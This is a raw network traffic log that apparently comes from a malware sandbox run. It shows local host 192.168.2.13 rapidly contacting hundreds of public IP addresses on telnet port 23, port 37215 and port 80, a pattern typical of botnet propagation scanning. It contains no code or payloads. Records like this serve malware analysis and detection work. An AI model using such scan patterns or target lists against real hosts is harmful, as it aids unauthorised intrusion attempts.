Jun 10, 2024 15:37:58.457792044 CEST	26049	23	192.168.2.13	39.197.152.33
Jun 10, 2024 15:37:58.457803011 CEST	30401	37215	192.168.2.13	156.193.159.157
Jun 10, 2024 15:37:58.457803965 CEST	23	26049	65.125.236.130	192.168.2.13
Jun 10, 2024 15:37:58.457804918 CEST	30401	37215	192.168.2.13	156.10.180.100
Jun 10, 2024 15:37:58.457804918 CEST	26049	23	192.168.2.13	83.163.200.173
Jun 10, 2024 15:37:58.457804918 CEST	16833	80	192.168.2.13	206.246.142.180
Jun 10, 2024 15:37:58.457806110 CEST	26049	23	192.168.2.13	9.131.12.103
Jun 10, 2024 15:37:58.457812071 CEST	16833	80	192.168.2.13	17.120.58.139
Jun 10, 2024 15:37:58.457817078 CEST	23	26049	57.176.14.119	192.168.2.13
Jun 10, 2024 15:37:58.457817078 CEST	26049	23	192.168.2.13	40.43.105.50
Jun 10, 2024 15:37:58.457829952 CEST	23	26049	4.160.59.90	192.168.2.13
Jun 10, 2024 15:37:58.457835913 CEST	30401	37215	192.168.2.13	41.196.240.81
Jun 10, 2024 15:37:58.457835913 CEST	26049	23	192.168.2.13	65.125.236.130
Jun 10, 2024 15:37:58.457842112 CEST	30401	37215	192.168.2.13	156.234.94.140
Jun 10, 2024 15:37:58.457842112 CEST	30401	37215	192.168.2.13	197.140.96.112
Jun 10, 2024 15:37:58.457843065 CEST	23	26049	93.177.117.61	192.168.2.13
Jun 10, 2024 15:37:58.457847118 CEST	26049	23	192.168.2.13	57.176.14.119
Jun 10, 2024 15:37:58.457855940 CEST	23	26049	9.121.101.180	192.168.2.13
Jun 10, 2024 15:37:58.457865953 CEST	26049	23	192.168.2.13	4.160.59.90
Jun 10, 2024 15:37:58.457870007 CEST	23	26049	45.177.98.144	192.168.2.13
Jun 10, 2024 15:37:58.457880020 CEST	26049	23	192.168.2.13	93.177.117.61
Jun 10, 2024 15:37:58.457882881 CEST	23	26049	130.11.102.199	192.168.2.13
Jun 10, 2024 15:37:58.457885027 CEST	26049	23	192.168.2.13	9.121.101.180
Jun 10, 2024 15:37:58.457895041 CEST	23	26049	47.19.138.20	192.168.2.13
Jun 10, 2024 15:37:58.457900047 CEST	26049	23	192.168.2.13	45.177.98.144
Jun 10, 2024 15:37:58.457907915 CEST	23	26049	165.23.121.82	192.168.2.13
Jun 10, 2024 15:37:58.457912922 CEST	30401	37215	192.168.2.13	41.45.206.66
Jun 10, 2024 15:37:58.457914114 CEST	16833	80	192.168.2.13	41.79.68.203
Jun 10, 2024 15:37:58.457914114 CEST	26049	23	192.168.2.13	130.11.102.199
Jun 10, 2024 15:37:58.457921982 CEST	23	26049	111.107.245.162	192.168.2.13
Jun 10, 2024 15:37:58.457931042 CEST	30401	37215	192.168.2.13	41.62.206.70
Jun 10, 2024 15:37:58.457931995 CEST	26049	23	192.168.2.13	47.19.138.20
Jun 10, 2024 15:37:58.457932949 CEST	26049	23	192.168.2.13	165.23.121.82
Jun 10, 2024 15:37:58.457935095 CEST	23	26049	103.239.59.112	192.168.2.13
Jun 10, 2024 15:37:58.457938910 CEST	30401	37215	192.168.2.13	197.173.122.45
Jun 10, 2024 15:37:58.457948923 CEST	23	26049	119.77.98.161	192.168.2.13
Jun 10, 2024 15:37:58.457954884 CEST	30401	37215	192.168.2.13	41.136.243.130
Jun 10, 2024 15:37:58.457954884 CEST	30401	37215	192.168.2.13	156.29.101.233
Jun 10, 2024 15:37:58.457957983 CEST	30401	37215	192.168.2.13	197.223.92.93
Jun 10, 2024 15:37:58.457961082 CEST	23	26049	66.87.90.224	192.168.2.13
Jun 10, 2024 15:37:58.457962036 CEST	26049	23	192.168.2.13	111.107.245.162
Jun 10, 2024 15:37:58.457966089 CEST	30401	37215	192.168.2.13	41.93.65.218
Jun 10, 2024 15:37:58.457973957 CEST	26049	23	192.168.2.13	119.77.98.161
Jun 10, 2024 15:37:58.457973957 CEST	23	26049	65.10.6.179	192.168.2.13
Jun 10, 2024 15:37:58.457988977 CEST	23	26049	216.227.214.135	192.168.2.13
Jun 10, 2024 15:37:58.457993031 CEST	26049	23	192.168.2.13	103.239.59.112
Jun 10, 2024 15:37:58.457993031 CEST	26049	23	192.168.2.13	66.87.90.224
Jun 10, 2024 15:37:58.458002090 CEST	16833	80	192.168.2.13	133.151.118.131
Jun 10, 2024 15:37:58.458002090 CEST	23	26049	219.56.215.25	192.168.2.13
Jun 10, 2024 15:37:58.458009005 CEST	26049	23	192.168.2.13	65.10.6.179
Jun 10, 2024 15:37:58.458017111 CEST	23	26049	190.204.178.211	192.168.2.13
Jun 10, 2024 15:37:58.458028078 CEST	26049	23	192.168.2.13	216.227.214.135
Jun 10, 2024 15:37:58.458039045 CEST	26049	23	192.168.2.13	219.56.215.25
Jun 10, 2024 15:37:58.458056927 CEST	26049	23	192.168.2.13	190.204.178.211
Jun 10, 2024 15:37:58.458059072 CEST	30401	37215	192.168.2.13	197.102.90.128
Jun 10, 2024 15:37:58.458065987 CEST	30401	37215	192.168.2.13	41.200.225.136
Jun 10, 2024 15:37:58.458069086 CEST	30401	37215	192.168.2.13	197.125.251.86
Jun 10, 2024 15:37:58.458079100 CEST	30401	37215	192.168.2.13	197.207.163.222
Jun 10, 2024 15:37:58.458090067 CEST	30401	37215	192.168.2.13	41.103.142.240
Jun 10, 2024 15:37:58.458090067 CEST	16833	80	192.168.2.13	100.207.105.157
Jun 10, 2024 15:37:58.458092928 CEST	30401	37215	192.168.2.13	197.30.131.35
Jun 10, 2024 15:37:58.458093882 CEST	16833	80	192.168.2.13	139.132.181.96
Jun 10, 2024 15:37:58.458101988 CEST	30401	37215	192.168.2.13	197.110.69.251
Jun 10, 2024 15:37:58.458111048 CEST	30401	37215	192.168.2.13	197.8.238.78
Jun 10, 2024 15:37:58.458136082 CEST	16833	80	192.168.2.13	177.26.140.40
Jun 10, 2024 15:37:58.458154917 CEST	30401	37215	192.168.2.13	197.89.36.101
Jun 10, 2024 15:37:58.458165884 CEST	30401	37215	192.168.2.13	156.28.59.39
Jun 10, 2024 15:37:58.458169937 CEST	16833	80	192.168.2.13	149.252.83.244
Jun 10, 2024 15:37:58.458169937 CEST	16833	80	192.168.2.13	96.217.172.101
Jun 10, 2024 15:37:58.458169937 CEST	30401	37215	192.168.2.13	197.230.186.51
Jun 10, 2024 15:37:58.458177090 CEST	30401	37215	192.168.2.13	41.158.211.230
Jun 10, 2024 15:37:58.458178043 CEST	30401	37215	192.168.2.13	197.28.140.194
Jun 10, 2024 15:37:58.458178043 CEST	30401	37215	192.168.2.13	41.116.133.2
Jun 10, 2024 15:37:58.458182096 CEST	16833	80	192.168.2.13	155.123.113.46
Jun 10, 2024 15:37:58.458189011 CEST	16833	80	192.168.2.13	80.99.189.225
Jun 10, 2024 15:37:58.458206892 CEST	30401	37215	192.168.2.13	41.58.43.68
Jun 10, 2024 15:37:58.458206892 CEST	16833	80	192.168.2.13	148.202.194.199
Jun 10, 2024 15:37:58.458213091 CEST	30401	37215	192.168.2.13	197.100.232.47
Jun 10, 2024 15:37:58.458213091 CEST	16833	80	192.168.2.13	162.156.26.34
Jun 10, 2024 15:37:58.458226919 CEST	30401	37215	192.168.2.13	197.173.6.81
Jun 10, 2024 15:37:58.458234072 CEST	30401	37215	192.168.2.13	156.161.209.230
Jun 10, 2024 15:37:58.458234072 CEST	16833	80	192.168.2.13	155.63.203.50
Jun 10, 2024 15:37:58.458234072 CEST	16833	80	192.168.2.13	184.103.204.143
Jun 10, 2024 15:37:58.458250046 CEST	30401	37215	192.168.2.13	41.111.74.7
Jun 10, 2024 15:37:58.458252907 CEST	30401	37215	192.168.2.13	41.160.121.85
Jun 10, 2024 15:37:58.458252907 CEST	30401	37215	192.168.2.13	41.158.24.145
Jun 10, 2024 15:37:58.458252907 CEST	30401	37215	192.168.2.13	156.177.48.90
Jun 10, 2024 15:37:58.458266020 CEST	30401	37215	192.168.2.13	41.168.195.48
Jun 10, 2024 15:37:58.458266973 CEST	30401	37215	192.168.2.13	197.131.228.194
Jun 10, 2024 15:37:58.458276033 CEST	16833	80	192.168.2.13	100.250.217.104
Jun 10, 2024 15:37:58.458276033 CEST	30401	37215	192.168.2.13	156.26.118.105
Jun 10, 2024 15:37:58.458276033 CEST	30401	37215	192.168.2.13	197.60.77.221
Jun 10, 2024 15:37:58.458277941 CEST	30401	37215	192.168.2.13	41.1.38.160
Jun 10, 2024 15:37:58.458297968 CEST	16833	80	192.168.2.13	168.66.40.188
Jun 10, 2024 15:37:58.458300114 CEST	16833	80	192.168.2.13	204.163.167.26
Jun 10, 2024 15:37:58.458300114 CEST	16833	80	192.168.2.13	47.202.246.151
Jun 10, 2024 15:37:58.458314896 CEST	30401	37215	192.168.2.13	156.232.216.223
Jun 10, 2024 15:37:58.458316088 CEST	16833	80	192.168.2.13	207.57.86.140
Jun 10, 2024 15:37:58.458324909 CEST	16833	80	192.168.2.13	189.153.232.220
Jun 10, 2024 15:37:58.458324909 CEST	16833	80	192.168.2.13	183.115.20.157
Jun 10, 2024 15:37:58.458328962 CEST	16833	80	192.168.2.13	180.252.252.121
Jun 10, 2024 15:37:58.458329916 CEST	30401	37215	192.168.2.13	41.244.207.155
Jun 10, 2024 15:37:58.458328962 CEST	30401	37215	192.168.2.13	41.36.167.226
Jun 10, 2024 15:37:58.458329916 CEST	30401	37215	192.168.2.13	156.243.241.245
Jun 10, 2024 15:37:58.458328962 CEST	16833	80	192.168.2.13	34.139.84.19
Jun 10, 2024 15:37:58.458334923 CEST	16833	80	192.168.2.13	210.99.198.180
Jun 10, 2024 15:37:58.458343983 CEST	30401	37215	192.168.2.13	197.81.59.204
Jun 10, 2024 15:37:58.458344936 CEST	30401	37215	192.168.2.13	197.13.238.227
Jun 10, 2024 15:37:58.458348036 CEST	16833	80	192.168.2.13	67.108.146.167
Jun 10, 2024 15:37:58.458354950 CEST	30401	37215	192.168.2.13	156.86.144.126
Jun 10, 2024 15:37:58.458369017 CEST	30401	37215	192.168.2.13	197.47.68.177
Jun 10, 2024 15:37:58.458369017 CEST	16833	80	192.168.2.13	204.129.56.35
Jun 10, 2024 15:37:58.458369970 CEST	30401	37215	192.168.2.13	197.86.50.147
Jun 10, 2024 15:37:58.458372116 CEST	30401	37215	192.168.2.13	156.239.155.136
Jun 10, 2024 15:37:58.458378077 CEST	30401	37215	192.168.2.13	197.250.183.187
Jun 10, 2024 15:37:58.458395958 CEST	30401	37215	192.168.2.13	41.7.1.172
Jun 10, 2024 15:37:58.458395958 CEST	30401	37215	192.168.2.13	41.53.81.129
Jun 10, 2024 15:37:58.458405972 CEST	16833	80	192.168.2.13	44.202.73.217
Jun 10, 2024 15:37:58.458408117 CEST	30401	37215	192.168.2.13	156.118.92.132
Jun 10, 2024 15:37:58.458416939 CEST	30401	37215	192.168.2.13	197.3.246.202
Jun 10, 2024 15:37:58.458417892 CEST	16833	80	192.168.2.13	101.25.61.73
Jun 10, 2024 15:37:58.458430052 CEST	16833	80	192.168.2.13	124.171.150.230
Jun 10, 2024 15:37:58.458431959 CEST	16833	80	192.168.2.13	140.156.150.185
Jun 10, 2024 15:37:58.458431959 CEST	16833	80	192.168.2.13	82.29.73.12
Jun 10, 2024 15:37:58.458431959 CEST	16833	80	192.168.2.13	196.145.124.19
Jun 10, 2024 15:37:58.458442926 CEST	30401	37215	192.168.2.13	156.122.29.230
Jun 10, 2024 15:37:58.458442926 CEST	30401	37215	192.168.2.13	156.179.158.25
Jun 10, 2024 15:37:58.458442926 CEST	30401	37215	192.168.2.13	41.201.242.126
Jun 10, 2024 15:37:58.458445072 CEST	30401	37215	192.168.2.13	197.202.80.75
Jun 10, 2024 15:37:58.458445072 CEST	30401	37215	192.168.2.13	156.101.229.133
Jun 10, 2024 15:37:58.458456993 CEST	30401	37215	192.168.2.13	41.80.78.157
Jun 10, 2024 15:37:58.458458900 CEST	30401	37215	192.168.2.13	156.87.230.141
Jun 10, 2024 15:37:58.458462000 CEST	30401	37215	192.168.2.13	41.193.155.19
Jun 10, 2024 15:37:58.458462000 CEST	30401	37215	192.168.2.13	156.82.129.139
Jun 10, 2024 15:37:58.458466053 CEST	30401	37215	192.168.2.13	156.112.46.16
Jun 10, 2024 15:37:58.458466053 CEST	30401	37215	192.168.2.13	197.28.46.68
Jun 10, 2024 15:37:58.458467960 CEST	30401	37215	192.168.2.13	156.84.21.205
Jun 10, 2024 15:37:58.458470106 CEST	30401	37215	192.168.2.13	197.174.51.18
Jun 10, 2024 15:37:58.458470106 CEST	30401	37215	192.168.2.13	197.125.140.84
Jun 10, 2024 15:37:58.458471060 CEST	30401	37215	192.168.2.13	197.171.80.233
Jun 10, 2024 15:37:58.458472967 CEST	30401	37215	192.168.2.13	41.253.98.169
Jun 10, 2024 15:37:58.458471060 CEST	30401	37215	192.168.2.13	197.183.130.132
Jun 10, 2024 15:37:58.458481073 CEST	30401	37215	192.168.2.13	156.197.132.147
Jun 10, 2024 15:37:58.458481073 CEST	30401	37215	192.168.2.13	41.250.234.243
Jun 10, 2024 15:37:58.458481073 CEST	30401	37215	192.168.2.13	156.5.128.132
Jun 10, 2024 15:37:58.458482981 CEST	30401	37215	192.168.2.13	156.254.247.111
Jun 10, 2024 15:37:58.458481073 CEST	16833	80	192.168.2.13	48.246.69.223
Jun 10, 2024 15:37:58.458484888 CEST	30401	37215	192.168.2.13	197.240.183.237
Jun 10, 2024 15:37:58.458484888 CEST	30401	37215	192.168.2.13	197.11.6.177
Jun 10, 2024 15:37:58.458487988 CEST	16833	80	192.168.2.13	182.55.5.228
Jun 10, 2024 15:37:58.458487988 CEST	30401	37215	192.168.2.13	197.72.76.209
Jun 10, 2024 15:37:58.458492994 CEST	30401	37215	192.168.2.13	41.126.209.110
Jun 10, 2024 15:37:58.458497047 CEST	16833	80	192.168.2.13	141.116.32.240
Jun 10, 2024 15:37:58.458498955 CEST	30401	37215	192.168.2.13	156.180.142.166
Jun 10, 2024 15:37:58.458502054 CEST	30401	37215	192.168.2.13	156.30.139.237
Jun 10, 2024 15:37:58.458519936 CEST	16833	80	192.168.2.13	106.29.247.21
Jun 10, 2024 15:37:58.458520889 CEST	30401	37215	192.168.2.13	41.184.51.183
Jun 10, 2024 15:37:58.458523035 CEST	16833	80	192.168.2.13	25.214.7.36
Jun 10, 2024 15:37:58.458523035 CEST	30401	37215	192.168.2.13	197.159.169.105
Jun 10, 2024 15:37:58.458528042 CEST	30401	37215	192.168.2.13	156.4.150.72
Jun 10, 2024 15:37:58.458528996 CEST	30401	37215	192.168.2.13	156.253.141.133
Jun 10, 2024 15:37:58.458528996 CEST	30401	37215	192.168.2.13	41.25.49.153
Jun 10, 2024 15:37:58.458529949 CEST	30401	37215	192.168.2.13	41.104.213.101
Jun 10, 2024 15:37:58.458538055 CEST	30401	37215	192.168.2.13	41.116.155.141
Jun 10, 2024 15:37:58.458539009 CEST	30401	37215	192.168.2.13	197.37.21.3
Jun 10, 2024 15:37:58.458540916 CEST	16833	80	192.168.2.13	150.149.210.64
Jun 10, 2024 15:37:58.458554029 CEST	30401	37215	192.168.2.13	156.12.217.211
Jun 10, 2024 15:37:58.458563089 CEST	16833	80	192.168.2.13	89.5.191.31
Jun 10, 2024 15:37:58.458574057 CEST	30401	37215	192.168.2.13	41.178.187.242
Jun 10, 2024 15:37:58.458578110 CEST	30401	37215	192.168.2.13	156.213.78.215
Jun 10, 2024 15:37:58.458580017 CEST	16833	80	192.168.2.13	143.28.155.62
Jun 10, 2024 15:37:58.458584070 CEST	16833	80	192.168.2.13	123.81.102.171
Jun 10, 2024 15:37:58.458584070 CEST	30401	37215	192.168.2.13	156.11.223.48
Jun 10, 2024 15:37:58.458597898 CEST	16833	80	192.168.2.13	217.140.220.168
Jun 10, 2024 15:37:58.458602905 CEST	30401	37215	192.168.2.13	41.62.199.115
Jun 10, 2024 15:37:58.458602905 CEST	16833	80	192.168.2.13	1.35.33.240
Jun 10, 2024 15:37:58.458614111 CEST	30401	37215	192.168.2.13	41.74.206.133
Jun 10, 2024 15:37:58.458614111 CEST	30401	37215	192.168.2.13	41.70.221.1
Jun 10, 2024 15:37:58.458620071 CEST	16833	80	192.168.2.13	47.5.123.175
Jun 10, 2024 15:37:58.458620071 CEST	30401	37215	192.168.2.13	197.218.28.17
Jun 10, 2024 15:37:58.458626032 CEST	16833	80	192.168.2.13	123.248.213.63
Jun 10, 2024 15:37:58.458635092 CEST	30401	37215	192.168.2.13	41.109.189.68
Jun 10, 2024 15:37:58.458636999 CEST	30401	37215	192.168.2.13	41.78.69.134
Jun 10, 2024 15:37:58.458636999 CEST	30401	37215	192.168.2.13	156.97.62.235
Jun 10, 2024 15:37:58.458642960 CEST	16833	80	192.168.2.13	97.198.1.8
Jun 10, 2024 15:37:58.458648920 CEST	30401	37215	192.168.2.13	156.43.175.240
Jun 10, 2024 15:37:58.458650112 CEST	30401	37215	192.168.2.13	41.140.76.152
Jun 10, 2024 15:37:58.458655119 CEST	16833	80	192.168.2.13	110.126.158.141
Jun 10, 2024 15:37:58.458655119 CEST	16833	80	192.168.2.13	175.100.24.56
Jun 10, 2024 15:37:58.458663940 CEST	30401	37215	192.168.2.13	156.96.80.253
Jun 10, 2024 15:37:58.458667994 CEST	30401	37215	192.168.2.13	41.126.47.161
Jun 10, 2024 15:37:58.458678007 CEST	30401	37215	192.168.2.13	41.37.141.110
Jun 10, 2024 15:37:58.458683968 CEST	16833	80	192.168.2.13	95.38.158.165
Jun 10, 2024 15:37:58.458689928 CEST	16833	80	192.168.2.13	103.69.42.187
Jun 10, 2024 15:37:58.458689928 CEST	16833	80	192.168.2.13	50.205.36.111
Jun 10, 2024 15:37:58.458695889 CEST	16833	80	192.168.2.13	134.105.17.4
Jun 10, 2024 15:37:58.458695889 CEST	16833	80	192.168.2.13	62.153.234.179
Jun 10, 2024 15:37:58.458709955 CEST	30401	37215	192.168.2.13	156.230.215.177
Jun 10, 2024 15:37:58.458714008 CEST	16833	80	192.168.2.13	53.62.65.36
Jun 10, 2024 15:37:58.458715916 CEST	16833	80	192.168.2.13	66.205.85.77
Jun 10, 2024 15:37:58.458729029 CEST	30401	37215	192.168.2.13	41.41.180.43
Jun 10, 2024 15:37:58.458734989 CEST	30401	37215	192.168.2.13	156.78.117.33
Jun 10, 2024 15:37:58.458745956 CEST	30401	37215	192.168.2.13	156.236.106.252
Jun 10, 2024 15:37:58.458745956 CEST	30401	37215	192.168.2.13	41.94.210.141
Jun 10, 2024 15:37:58.458745956 CEST	30401	37215	192.168.2.13	41.221.84.91
Jun 10, 2024 15:37:58.458749056 CEST	30401	37215	192.168.2.13	41.59.50.237
Jun 10, 2024 15:37:58.458761930 CEST	30401	37215	192.168.2.13	156.186.90.45
Jun 10, 2024 15:37:58.458775043 CEST	30401	37215	192.168.2.13	41.38.6.150
Jun 10, 2024 15:37:58.458775043 CEST	16833	80	192.168.2.13	123.162.236.151
Jun 10, 2024 15:37:58.458790064 CEST	16833	80	192.168.2.13	205.237.21.82
Jun 10, 2024 15:37:58.458790064 CEST	30401	37215	192.168.2.13	197.85.190.87
Jun 10, 2024 15:37:58.458797932 CEST	30401	37215	192.168.2.13	156.105.160.242
Jun 10, 2024 15:37:58.458797932 CEST	30401	37215	192.168.2.13	41.197.138.136
Jun 10, 2024 15:37:58.458810091 CEST	30401	37215	192.168.2.13	41.65.239.136
Jun 10, 2024 15:37:58.458811998 CEST	30401	37215	192.168.2.13	41.38.42.170
Jun 10, 2024 15:37:58.458811998 CEST	30401	37215	192.168.2.13	156.134.139.194
Jun 10, 2024 15:37:58.458817959 CEST	16833	80	192.168.2.13	162.203.255.83
Jun 10, 2024 15:37:58.458818913 CEST	30401	37215	192.168.2.13	197.105.77.33
Jun 10, 2024 15:37:58.458817959 CEST	30401	37215	192.168.2.13	156.107.193.134
Jun 10, 2024 15:37:58.458818913 CEST	30401	37215	192.168.2.13	197.67.60.182
Jun 10, 2024 15:37:58.458825111 CEST	30401	37215	192.168.2.13	197.120.119.143
Jun 10, 2024 15:37:58.458825111 CEST	30401	37215	192.168.2.13	156.72.196.183
Jun 10, 2024 15:37:58.458825111 CEST	30401	37215	192.168.2.13	197.15.249.219
Jun 10, 2024 15:37:58.458827019 CEST	30401	37215	192.168.2.13	156.152.97.183
Jun 10, 2024 15:37:58.458839893 CEST	16833	80	192.168.2.13	73.77.71.87
Jun 10, 2024 15:37:58.458843946 CEST	16833	80	192.168.2.13	97.34.9.110
Jun 10, 2024 15:37:58.458853960 CEST	30401	37215	192.168.2.13	197.77.245.185
Jun 10, 2024 15:37:58.458853960 CEST	16833	80	192.168.2.13	94.180.92.242
Jun 10, 2024 15:37:58.458858967 CEST	30401	37215	192.168.2.13	41.10.244.42
Jun 10, 2024 15:37:58.458858967 CEST	30401	37215	192.168.2.13	197.218.43.202
Jun 10, 2024 15:37:58.458867073 CEST	30401	37215	192.168.2.13	156.55.154.141
Jun 10, 2024 15:37:58.458867073 CEST	30401	37215	192.168.2.13	197.168.80.221
Jun 10, 2024 15:37:58.458868027 CEST	16833	80	192.168.2.13	67.138.130.174
Jun 10, 2024 15:37:58.458873987 CEST	30401	37215	192.168.2.13	197.174.6.140
Jun 10, 2024 15:37:58.458873987 CEST	30401	37215	192.168.2.13	197.231.140.160
Jun 10, 2024 15:37:58.458873987 CEST	16833	80	192.168.2.13	181.40.86.242
Jun 10, 2024 15:37:58.458873987 CEST	30401	37215	192.168.2.13	41.148.151.110
Jun 10, 2024 15:37:58.458904028 CEST	30401	37215	192.168.2.13	156.1.252.24
Jun 10, 2024 15:37:58.458904982 CEST	16833	80	192.168.2.13	1.235.38.96
Jun 10, 2024 15:37:58.458904982 CEST	16833	80	192.168.2.13	53.98.252.58
Jun 10, 2024 15:37:58.458908081 CEST	30401	37215	192.168.2.13	197.24.139.66
Jun 10, 2024 15:37:58.458916903 CEST	16833	80	192.168.2.13	196.157.13.118
Jun 10, 2024 15:37:58.458918095 CEST	16833	80	192.168.2.13	140.101.197.21
Jun 10, 2024 15:37:58.458920002 CEST	16833	80	192.168.2.13	94.100.178.14
Jun 10, 2024 15:37:58.458930969 CEST	30401	37215	192.168.2.13	197.172.155.122
Jun 10, 2024 15:37:58.458935976 CEST	30401	37215	192.168.2.13	197.243.244.21
Jun 10, 2024 15:37:58.458945036 CEST	30401	37215	192.168.2.13	41.124.110.151
Jun 10, 2024 15:37:58.458945036 CEST	30401	37215	192.168.2.13	41.175.184.197
Jun 10, 2024 15:37:58.458947897 CEST	16833	80	192.168.2.13	18.32.122.88
Jun 10, 2024 15:37:58.458947897 CEST	30401	37215	192.168.2.13	197.188.13.153
Jun 10, 2024 15:37:58.458952904 CEST	30401	37215	192.168.2.13	41.147.113.230
Jun 10, 2024 15:37:58.458966970 CEST	16833	80	192.168.2.13	133.189.0.217
Jun 10, 2024 15:37:58.458980083 CEST	16833	80	192.168.2.13	64.96.27.44
Jun 10, 2024 15:37:58.458980083 CEST	16833	80	192.168.2.13	181.222.2.252
Jun 10, 2024 15:37:58.458981991 CEST	16833	80	192.168.2.13	184.30.88.108
Jun 10, 2024 15:37:58.458983898 CEST	30401	37215	192.168.2.13	197.127.76.184
Jun 10, 2024 15:37:58.458986044 CEST	16833	80	192.168.2.13	147.231.22.235
Jun 10, 2024 15:37:58.458990097 CEST	16833	80	192.168.2.13	111.22.101.54
Jun 10, 2024 15:37:58.459007978 CEST	16833	80	192.168.2.13	153.114.124.54
Jun 10, 2024 15:37:58.459008932 CEST	16833	80	192.168.2.13	207.248.119.145
Jun 10, 2024 15:37:58.459008932 CEST	16833	80	192.168.2.13	124.89.68.54
Jun 10, 2024 15:37:58.459008932 CEST	16833	80	192.168.2.13	70.127.36.150
Jun 10, 2024 15:37:58.459017038 CEST	30401	37215	192.168.2.13	156.185.10.55
Jun 10, 2024 15:37:58.459017038 CEST	30401	37215	192.168.2.13	41.86.145.145
Jun 10, 2024 15:37:58.459017038 CEST	16833	80	192.168.2.13	196.212.69.203
Jun 10, 2024 15:37:58.459019899 CEST	30401	37215	192.168.2.13	197.62.240.51
Jun 10, 2024 15:37:58.459036112 CEST	30401	37215	192.168.2.13	197.107.210.65
Jun 10, 2024 15:37:58.459041119 CEST	30401	37215	192.168.2.13	156.248.189.123
Jun 10, 2024 15:37:58.459055901 CEST	16833	80	192.168.2.13	45.222.20.5
Jun 10, 2024 15:37:58.459059954 CEST	30401	37215	192.168.2.13	41.250.250.184
Jun 10, 2024 15:37:58.459059954 CEST	30401	37215	192.168.2.13	41.137.56.71
Jun 10, 2024 15:37:58.459064960 CEST	16833	80	192.168.2.13	78.179.28.249
Jun 10, 2024 15:37:58.459067106 CEST	16833	80	192.168.2.13	53.171.197.44
Jun 10, 2024 15:37:58.459073067 CEST	16833	80	192.168.2.13	156.94.157.86
Jun 10, 2024 15:37:58.459073067 CEST	30401	37215	192.168.2.13	156.252.179.159
Jun 10, 2024 15:37:58.459074974 CEST	30401	37215	192.168.2.13	197.222.103.196
Jun 10, 2024 15:37:58.459073067 CEST	30401	37215	192.168.2.13	197.121.216.212
Jun 10, 2024 15:37:58.459073067 CEST	30401	37215	192.168.2.13	156.34.211.222
Jun 10, 2024 15:37:58.459079981 CEST	30401	37215	192.168.2.13	156.239.8.85
Jun 10, 2024 15:37:58.459089994 CEST	16833	80	192.168.2.13	59.232.57.123
Jun 10, 2024 15:37:58.459093094 CEST	16833	80	192.168.2.13	140.226.212.189
Jun 10, 2024 15:37:58.459094048 CEST	16833	80	192.168.2.13	191.231.196.140
Jun 10, 2024 15:37:58.459094048 CEST	30401	37215	192.168.2.13	156.183.251.127
Jun 10, 2024 15:37:58.459095955 CEST	16833	80	192.168.2.13	74.69.189.68
Jun 10, 2024 15:37:58.459104061 CEST	30401	37215	192.168.2.13	41.203.233.46
Jun 10, 2024 15:37:58.459103107 CEST	30401	37215	192.168.2.13	156.171.85.63
Jun 10, 2024 15:37:58.459105968 CEST	16833	80	192.168.2.13	34.192.125.101
Jun 10, 2024 15:37:58.459115028 CEST	16833	80	192.168.2.13	63.106.192.182
Jun 10, 2024 15:37:58.459115028 CEST	16833	80	192.168.2.13	97.2.85.138
Jun 10, 2024 15:37:58.459119081 CEST	30401	37215	192.168.2.13	41.57.52.239
Jun 10, 2024 15:37:58.459119081 CEST	30401	37215	192.168.2.13	156.46.29.55
Jun 10, 2024 15:37:58.459129095 CEST	30401	37215	192.168.2.13	41.104.26.218
Jun 10, 2024 15:37:58.459129095 CEST	16833	80	192.168.2.13	140.165.163.222
Jun 10, 2024 15:37:58.459131956 CEST	30401	37215	192.168.2.13	156.155.245.145
Jun 10, 2024 15:37:58.459131956 CEST	30401	37215	192.168.2.13	156.0.205.101
Jun 10, 2024 15:37:58.459131956 CEST	16833	80	192.168.2.13	78.170.4.232
Jun 10, 2024 15:37:58.459140062 CEST	30401	37215	192.168.2.13	156.156.244.24
Jun 10, 2024 15:37:58.459142923 CEST	30401	37215	192.168.2.13	197.1.240.111
Jun 10, 2024 15:37:58.459146023 CEST	30401	37215	192.168.2.13	41.247.67.212
Jun 10, 2024 15:37:58.459150076 CEST	30401	37215	192.168.2.13	197.92.212.5
Jun 10, 2024 15:37:58.459150076 CEST	30401	37215	192.168.2.13	156.33.108.230
Jun 10, 2024 15:37:58.459165096 CEST	30401	37215	192.168.2.13	156.177.212.186
Jun 10, 2024 15:37:58.459166050 CEST	30401	37215	192.168.2.13	156.179.100.196
Jun 10, 2024 15:37:58.459180117 CEST	30401	37215	192.168.2.13	41.55.24.26
Jun 10, 2024 15:37:58.459180117 CEST	16833	80	192.168.2.13	200.138.82.75
Jun 10, 2024 15:37:58.459184885 CEST	16833	80	192.168.2.13	134.162.169.75
Jun 10, 2024 15:37:58.459202051 CEST	16833	80	192.168.2.13	190.71.246.251
Jun 10, 2024 15:37:58.459207058 CEST	16833	80	192.168.2.13	136.181.217.250
Jun 10, 2024 15:37:58.459207058 CEST	16833	80	192.168.2.13	14.80.201.105
Jun 10, 2024 15:37:58.459217072 CEST	16833	80	192.168.2.13	80.44.181.39
Jun 10, 2024 15:37:58.459244013 CEST	30401	37215	192.168.2.13	156.235.172.187
Jun 10, 2024 15:37:58.459244013 CEST	16833	80	192.168.2.13	131.126.47.253
Jun 10, 2024 15:37:58.459249973 CEST	16833	80	192.168.2.13	54.135.120.141
Jun 10, 2024 15:37:58.459268093 CEST	16833	80	192.168.2.13	1.35.81.53
Jun 10, 2024 15:37:58.459274054 CEST	16833	80	192.168.2.13	158.170.218.198
Jun 10, 2024 15:37:58.459274054 CEST	16833	80	192.168.2.13	83.98.192.104
Jun 10, 2024 15:37:58.459278107 CEST	30401	37215	192.168.2.13	41.157.224.172
Jun 10, 2024 15:37:58.459291935 CEST	30401	37215	192.168.2.13	197.221.129.41
Jun 10, 2024 15:37:58.459294081 CEST	16833	80	192.168.2.13	67.119.53.6
Jun 10, 2024 15:37:58.459294081 CEST	30401	37215	192.168.2.13	197.49.53.13
Jun 10, 2024 15:37:58.459296942 CEST	30401	37215	192.168.2.13	156.221.145.171
Jun 10, 2024 15:37:58.459296942 CEST	16833	80	192.168.2.13	147.70.177.121
Jun 10, 2024 15:37:58.459301949 CEST	30401	37215	192.168.2.13	41.207.184.151
Jun 10, 2024 15:37:58.459312916 CEST	30401	37215	192.168.2.13	156.17.122.194
Jun 10, 2024 15:37:58.459312916 CEST	16833	80	192.168.2.13	158.115.121.61
Jun 10, 2024 15:37:58.459312916 CEST	30401	37215	192.168.2.13	197.185.134.203
Jun 10, 2024 15:37:58.459317923 CEST	16833	80	192.168.2.13	47.99.117.193
Jun 10, 2024 15:37:58.459317923 CEST	30401	37215	192.168.2.13	156.226.176.129
Jun 10, 2024 15:37:58.459317923 CEST	30401	37215	192.168.2.13	156.204.224.14
